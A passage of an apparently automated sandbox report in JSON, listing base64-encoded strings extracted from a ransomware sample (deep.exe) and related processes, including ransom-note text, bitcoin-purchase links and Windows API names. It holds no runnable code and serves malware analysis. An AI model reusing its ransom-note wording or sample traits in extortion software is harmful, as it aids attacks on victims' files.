Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZyFfaW5KbGBo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RyczM3Q2WWYkOlFaUg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RydVfUkpWm4p","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R19DUkVBVEVfT05MWSwgTlVMTCwgTlVMTCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R0JEWUxMTw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2VuZXJhdGlvbg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X2RvY3VtZW50RWxlbWVudCgtLCBOVUxMKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0YWRkcmluZm8=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tbWFuZExpbmVX","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tcHV0ZXJOYW1lVw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3NJZA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZElk","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVNpemVFeA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVR5cGU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TG9jYWxlSW5mb1c=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TG9jYWxUaW1l","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlQQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TmFtZXMoTlVMTCwgV0JFTV9GTEFHX0FMV0FZUyB8IFdCRU1fRkxBR19OT05TWVNURU1fT05MWSwgTlVMTCwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3RkSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtRGVmYXVsdFVJTGFuZ3VhZ2U=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZUFzRmlsZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGlja0NvdW50","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG9rZW5JbmZvcm1hdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlck5hbWVFeFc=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2lwQWN0aXZpdHlCeXBhc3M=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsRnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsTG9jaw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsU2Vzc2lvbg==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsVW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsVXNlck9mZmxpbmU=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z21lbnQ6OmFwcGVuZENoaWxkKC0sIE5VTEwp","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"R21GX19fX19vX2Job19fZ3Jlb2xyX29lZl80X296X1I5bWxvVGxlbGx4ZWFhb2VkZXI=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"Z3VhcmFudGVlIQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"aCU6dkNSXW9YOHA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SDYiWyAuLD0x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SDwnfV4+XC5r","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SD4kJW5iWkt9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SF08fCxZJWBhOw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SF5XVideX31s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SGFzTmF2aWdhdGlvbkVudW0=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhZGVyRXhjbHVzaW9uTGlzdEZvckNhY2hl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcFNldEluZm9ybWF0aW9u","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aGZvcm0ueHNs","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SEkheEkyT1Qx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aEkjWX1eLllYPg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SGlkZUZpbGVFeHQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZUZvbGRlclZlcmJz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZUljb25z","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZUluV2ViVmlldw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGlkZU9uRGVza3RvcFBlclVzZXI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGs3YCZwQDAlKQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aGtOfDpiMzI7MQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aExmWG9ROEYqdlU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aGxHJXpbYjpVRVpp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SE9fJ19UT1JfQ09fX1JfTkNSWVBUX0RuTF9TLU5jdGVjYWQ=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"SG9zdG5hbWU=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SG93IHRvIG9idGFpbiBCaXRjb2lucz8=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"SE9XIFRPIFJFQ09WRVIgRU5DUllQVEVEIEZJTEVTLlRYVA==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aFM2OXEmPDc3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aHRhYmxlLnhzbA==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL3d3dy5jb2luZGVzay5jb20vaW5mb3JtYXRpb24vaG93LWNhbi1pLWJ1eS1iaXRjb2lucw==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"SHR0cERlZmF1bHRFeHBpcnlUaW1lU2Vjcw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXk=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXlfYml0Y29pbnM=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"SHVlYD8oMiI9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SHh5X296IChE","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aHt2Ty9weEww","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SH1IWVtnJyZlJDRIZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aTNyPi5AfHU6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aUEmVmMvT18gQg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SUJgSjw0MihXOg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SWNtcDZDcmVhdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SWNtcDZTZW5kRWNobzI=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SWNtcENsb3NlSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SWNtcENyZWF0ZUZpbGU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SWNtcFNlbmRFY2hv","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SWNvblNlcnZpY2VMaWI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWNvbnNPbmx5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aWRlbnRpZmllci4=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"aWRlbnRpZmllcjo=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"SWRlbnRpZmllckxpbWl0","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWRuRW5hYmxlZA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVGaXhlZEZvbnROYW1l","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVGb250U2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVGb250U2l6ZVByaXZhdGU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVudW1XYmVtQ2xhc3NPYmplY3QtPk5leHQoV0JFTV9JTkZJTklURSwgMSwgLSwgLSk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SUVudW1XYmVtQ2xhc3NPYmplY3QtPk5leHQoV0JFTV9JTkZJTklURSwgMSwtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SUVudW1XYmVtQ2xhc3NPYmplY3QtPk5leHQoV0JFTV9JTkZJTklURSwxLCAtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SUVQcm9wRm9udE5hbWU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aWYyIC9yWlBfTA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SWcgRFtcaDUk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SUlEX0lYU0xUZW1wbGF0ZSwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SW1hZ2UgUGF0aA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aU1hcmdpbkJvdHRvbQ==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aU1hcmdpbkxlZnQ=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aU1hcmdpblJpZ2h0","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aU1hcmdpblRvcA==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SU1QRVJTT05BVEU=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SU42LzE2Z2xR","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aW5mb3JtYXRpb24=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdEZvbGRlckhhbmRsZXI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SW5wcm9jU2VydmVyMzI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJsb2NrZWRDb21wYXJlRXhjaGFuZ2U=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJsb2NrZWREZWNyZW1lbnQ=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJsb2NrZWRFeGNoYW5nZQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJsb2NrZWRJbmNyZW1lbnQ=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJuYWxOYW1l","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SW50cmFuZXROYW1l","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aW52YWxpZCBtYXAvc2V0PFQ+IGl0ZXJhdG9y","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SW52YWxpZCBwYXJhbWV0ZXIgcGFzc2VkIHRvIEMgcnVudGltZSBmdW5jdGlvbi4=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aW52YWxpZCBzdHJpbmcgcG9zaXRpb24=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aW52YWxpZCB2ZWN0b3I8VD4gc3Vic2NyaXB0","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SW9VJztGXC5Z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SVBITFBBUEkuRExM","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aVBvaW50U2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNvbGF0ZWRDb21tYW5k","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNTaG9ydGN1dA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SVNTVUVERlJPTQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aXN0OjpnZXRfbGVuZ3RoKC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SXNUZXh0UGxhaW5Ib25vcmVk","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SVRFUkFUSU9O","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"aXR8MmNfUWs6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdC0+R2V0T2JqZWN0VGV4dCgwLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KCVzLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiJXMiLCAwLCAtLDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiX19QQVRIIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiX19QQVRIIiwgMCwgLSwwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiX19SRUxQQVRIIiwgMCwtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiQXV0aG9yaXR5IiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiQ29ubmVjdGlvbiIsMCwgLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRGVmYXVsdCIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRGVyaXZhdGlvbiIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRGVzY3JpcHRpb24iLCAwLC0sIDAsIDAp","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRm9ybWF0IiwwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRm9ybWF0cyIsIDAsIC0sMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRm9ybWF0cyIsIDAsLSwgMCwgMCk=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRnJpZW5kbHlOYW1lIiwgMCwtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"SVdiZW1DbGFzc09iamVjdDo6R2V0KEwiRnJvbVZhbHVlIiwwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Hybrid 